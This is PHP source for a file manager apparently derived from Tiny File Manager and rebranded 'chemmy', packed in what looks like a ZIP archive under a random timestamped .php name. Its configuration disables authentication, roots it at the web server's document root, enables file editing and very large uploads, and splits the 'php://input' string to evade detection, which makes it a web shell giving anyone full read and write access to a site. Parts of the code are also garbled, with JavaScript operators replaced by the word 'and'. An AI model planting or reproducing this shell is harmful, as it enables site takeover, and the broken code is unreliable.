<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change();
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue and cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
                        and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue and selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue and selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue and selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

function lng($txt) {
    global $lang;

    $tr['en']['AppName']        = 'chemmy';      $tr['en']['AppTitle']           = 'chemmy';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
    else return "$txt";
}

?>PKy<m\�L� ����ds21u-20260307210326.phpnu�[���<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.2.7');

define('APP_TITLE', 'chemmy');

$dauth = false;

$auth_users = array(
    'admin' => '5024e3faef9c2ea521705535bdc81191',
    'user' => '5024e3faef9c2ea521705535bdc81191'
);


$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php://'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
